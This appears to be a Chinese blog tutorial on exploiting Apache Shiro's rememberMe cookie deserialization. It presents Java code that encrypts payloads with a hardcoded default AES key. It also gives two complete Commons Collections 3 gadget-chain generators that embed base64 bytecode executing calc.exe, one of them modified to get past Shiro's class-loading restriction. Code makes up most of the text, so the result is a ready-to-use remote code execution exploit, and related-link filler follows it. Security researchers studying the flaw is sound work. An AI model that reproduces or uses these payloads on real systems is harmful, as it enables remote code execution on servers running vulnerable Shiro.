• 构造shiro poc


    攻击shiro思路

    伪造加密过程

    shiro在容器初始化的时候会实例化CookieRememberMeManager对象,并且设置加密解密方式

    实例化时调用父类构造方法,设置加密方式为AES,并且设置key

    看下调用栈

    1. :109, AbstractRememberMeManager (org.apache.shiro.mgt)
    2. :87, CookieRememberMeManager (org.apache.shiro.web.mgt)
    3. :75, DefaultWebSecurityManager (org.apache.shiro.web.mgt)
    4. createDefaultInstance:65, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
    5. ……
    6. run:748, Thread (java.lang)

    然后在之前也说过,加密的时候先序列化再用encrypt()方法加密

    所以我们构造poc伪造加密的时候,直接这样就行了:

    1. import org.apache.shiro.crypto.AesCipherService;
    2. import org.apache.shiro.util.ByteSource;
    3. public class poc {
    4. public static void main(String []args) throws Exception {
    5. byte[] payloads = <构造好的恶意序列化流>
    6. AesCipherService aes = new AesCipherService();
    7. byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    8. ByteSource ciphertext = aes.encrypt(payloads, key);
    9. System.out.printf(ciphertext.toString());
    10. }
    11. }

    使用CC链打shiro

    直接拿cc3开梭:

    poc.java:

    1. import org.apache.shiro.crypto.AesCipherService;
    2. import org.apache.shiro.util.ByteSource;
    3. import java.util.Base64;
    4. public class poc {
    5. public static void main(String []args) throws Exception {
    6. byte[] payloads = cc3.getpayload();
    7. AesCipherService aes = new AesCipherService();
    8. byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
    9. ByteSource ciphertext = aes.encrypt(payloads, key);
    10. System.out.printf(ciphertext.toString());
    11. //String base64encodedString = Base64.getEncoder().encodeToString(payloads);
    12. //System.out.println(base64encodedString);
    13. }
    14. }

    cc3.java:

    1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    2. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    4. import org.apache.commons.collections.Transformer;
    5. import org.apache.commons.collections.functors.ChainedTransformer;
    6. import org.apache.commons.collections.functors.ConstantTransformer;
    7. import org.apache.commons.collections.functors.InstantiateTransformer;
    8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    9. import org.apache.commons.collections.map.LazyMap;
    10. import javax.xml.transform.Templates;
    11. import java.io.*;
    12. import java.lang.reflect.Field;
    13. import java.util.Base64;
    14. import java.util.HashMap;
    15. import java.util.Map;
    16. public class cc3 {
    17. public static void main(String[] args) throws Exception {
    18. System.out.println(getpayload());
    19. }
    20. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    21. Field field = obj.getClass().getDeclaredField(fieldName);
    22. field.setAccessible(true);
    23. field.set(obj, value);
    24. }
    25. public static byte[] getpayload() throws Exception {
    26. // source: bytecodes/HelloTemplateImpl.java
    27. byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
    28. TemplatesImpl obj = new TemplatesImpl();
    29. setFieldValue(obj, "_bytecodes", new byte[][] {code});
    30. setFieldValue(obj, "_name", "HelloTemplatesImpl");
    31. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    32. Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; //避免本地构造报错退出
    33. Transformer[] transformers = new Transformer[]{
    34. new ConstantTransformer(TrAXFilter.class),
    35. new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
    36. };
    37. Transformer transformerChain = new ChainedTransformer(fakeTransformers); //避免本地构造报错退出
    38. Map innerMap = new HashMap();
    39. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    40. TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
    41. Map expMap = new HashMap();
    42. expMap.put(tme, "valuevalue"); //为了调用hashCode()
    43. outerMap.remove("keykey"); //因为LazyMap触发要求是获取不到这个value,所以要删除
    44. Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); //替换真正的ChainedTransformer
    45. f.setAccessible(true);
    46. f.set(transformerChain, transformers);
    47. // 生成序列化字符串
    48. ByteArrayOutputStream barr = new ByteArrayOutputStream();
    49. ObjectOutputStream oos = new ObjectOutputStream(barr);
    50. oos.writeObject(expMap);
    51. oos.close();
    52. byte[] bytes = barr.toByteArray();
    53. // //序列化流写入文件
    54. // try
    55. // {
    56. // FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");
    57. // ObjectOutputStream out = new ObjectOutputStream(fileOut);
    58. // out.writeObject(expMap);
    59. // out.close();
    60. // fileOut.close();
    61. // System.out.println("Serialized data is saved in D:\\tmp\\e.ser");
    62. // }catch(IOException i)
    63. // {
    64. // i.printStackTrace();
    65. // }
    66. //
    67. // // 本地测试触发
    68. // System.out.println(barr);
    69. // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    70. // Object o = (Object)ois.readObject();
    71. return bytes;
    72. }
    73. }

    得到数据之后替换为rememberMe之后并没有执行命令,而是重定向到了首页,开启debug去看,得到一个报错

    原因是org.apache.shiro.io.ClassResolvingObjectInputStream这个类,他是个ObjectInputStream的子类,并且重写了resolveClass方法,这个方法是用于反序列化中寻找Class对象的方法。

    ObjectInputStream使用的是org.apache.shiro.util.ClassUtils#forName来加载,而shiro的ClassResolvingObjectInputStream使用的是Java原生Class.forName,后者会导致ClassNotFoundException

    参考p神《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》一文:

    > 这里仅给出最后的结论:如果反序列化流中包含非ava自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

    那么如何避免使用Transformer数组呢?

    修改CC3打shiro

    先康康LazyMap的get方法:

    1. public Object get(Object key) {
    2. // create value for key if key is not currently in the map
    3. if (map.containsKey(key) == false) {
    4. Object value = factory.transform(key);
    5. map.put(key, value);
    6. return value;
    7. }
    8. return map.get(key);
    9. }

    再康康ChainedTransformer的transform方法:

    1. public ChainedTransformer(Transformer[] transformers) {
    2. super();
    3. iTransformers = transformers;
    4. }
    5. //……
    6. public Object transform(Object object) {
    7. for (int i = 0; i < iTransformers.length; i++) {
    8. object = iTransformers[i].transform(object);
    9. }
    10. return object;
    11. }

    再去康康ConstantTransformer的transform方法:

    1. public ConstantTransformer(Object constantToReturn) {
    2. super();
    3. iConstant = constantToReturn;
    4. }
    5. public Object transform(Object input) {
    6. return iConstant;
    7. }

    本来的触发流程是:

    1. LazyMap.get(key)->
    2. ChainedTransformer.transform(constantTransformer)->
    3. ConstantTransformer.transform(instantiateTransformer)->
    4. InstantiateTransformer.transform(TrAXFilter.class)->
    5. TrAXFilter#TrAXFilter()->
    6. ……
    7. ->RCE

    但其实LazyMap.get()的时候

    factory.transform(key)会把key当作transform的参数传入

    反观我们cc3里面的transformers数组,其实他长度只有1

    1. Transformer[] transformers = new Transformer[]{
    2. new ConstantTransformer(TrAXFilter.class),
    3. new InstantiateTransformer(new Class[] { Templates.class },new Object[] {obj})
    4. };

    所以new ConstantTransformer(TrAXFilter.class)这一步完全就可以使用LazyMap.get(TrAXFilter.class)来替代。也就不需要transformer数组了

    给个自己改的poc:

    cc3.java

    1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    2. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    4. import org.apache.commons.collections.Transformer;
    5. import org.apache.commons.collections.functors.ChainedTransformer;
    6. import org.apache.commons.collections.functors.ConstantTransformer;
    7. import org.apache.commons.collections.functors.InstantiateTransformer;
    8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    9. import org.apache.commons.collections.map.LazyMap;
    10. import javax.xml.transform.Templates;
    11. import java.io.*;
    12. import java.lang.reflect.Field;
    13. import java.util.Base64;
    14. import java.util.HashMap;
    15. import java.util.Map;
    16. public class cc3 {
    17. public static void main(String[] args) throws Exception {
    18. System.out.println(getpayload());
    19. }
    20. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    21. Field field = obj.getClass().getDeclaredField(fieldName);
    22. field.setAccessible(true);
    23. field.set(obj, value);
    24. }
    25. public static byte[] getpayload() throws Exception {
    26. // source: bytecodes/HelloTemplateImpl.java
    27. byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
    28. TemplatesImpl obj = new TemplatesImpl();
    29. setFieldValue(obj, "_bytecodes", new byte[][] {code});
    30. setFieldValue(obj, "_name", "HelloTemplatesImpl");
    31. setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    32. Transformer fakeTransformers = new ConstantTransformer(1);
    33. Class trAXFilter = TrAXFilter.class;
    34. Transformer instantiateTransformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });
    35. Map innerMap = new HashMap();
    36. Map outerMap = LazyMap.decorate(innerMap, fakeTransformers);
    37. TiedMapEntry tme = new TiedMapEntry(outerMap, trAXFilter);
    38. Map expMap = new HashMap();
    39. expMap.put(tme, "valuevalue"); //为了调用hashCode()
    40. outerMap.clear(); //因为LazyMap触发要求是获取不到这个value,所以要删除
    41. Field f = LazyMap.class.getDeclaredField("factory"); //替换真正的key
    42. f.setAccessible(true);
    43. f.set(outerMap, instantiateTransformer);
    44. // 生成序列化字符串
    45. ByteArrayOutputStream barr = new ByteArrayOutputStream();
    46. ObjectOutputStream oos = new ObjectOutputStream(barr);
    47. oos.writeObject(expMap);
    48. oos.close();
    49. byte[] bytes = barr.toByteArray();
    50. // //序列化流写入文件
    51. // try
    52. // {
    53. // FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");
    54. // ObjectOutputStream out = new ObjectOutputStream(fileOut);
    55. // out.writeObject(expMap);
    56. // out.close();
    57. // fileOut.close();
    58. // System.out.println("Serialized data is saved in D:\\tmp\\e.ser");
    59. // }catch(IOException i)
    60. // {
    61. // i.printStackTrace();
    62. // }
    63. //
    64. // // 本地测试触发
    65. // System.out.println(barr);
    66. // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    67. // Object o = (Object)ois.readObject();
    68. return bytes;
    69. }
    70. }

  • 相关阅读:
    阿里云服务器公网带宽收费价格表_1M到100M报价
    《Photoshop 2020从入门到精通》读书笔记1
    JS加密/解密之过某审的加密方法
    低代码和人工智能助力疫情期间抗原自测信息自动化收集和处理
    【苹果】SpringBoot监听Iphone15邮件提醒,Selenium+Python自动化抢购脚本
    【malloc详解】| malloc是什么意思以及如何使用
    Qt5开发从入门到精通——第六篇四节( 图像与图片——显示SVG格式图片 )
    Android笔记(四)Activity之间传递可序列化的数据的优化处理
    01-Linux部署MinIo
    使用SSM搭建图书商城管理系统(完整过程介绍、售后服务哈哈哈)
  • 原文地址:https://blog.csdn.net/why811/article/details/133904385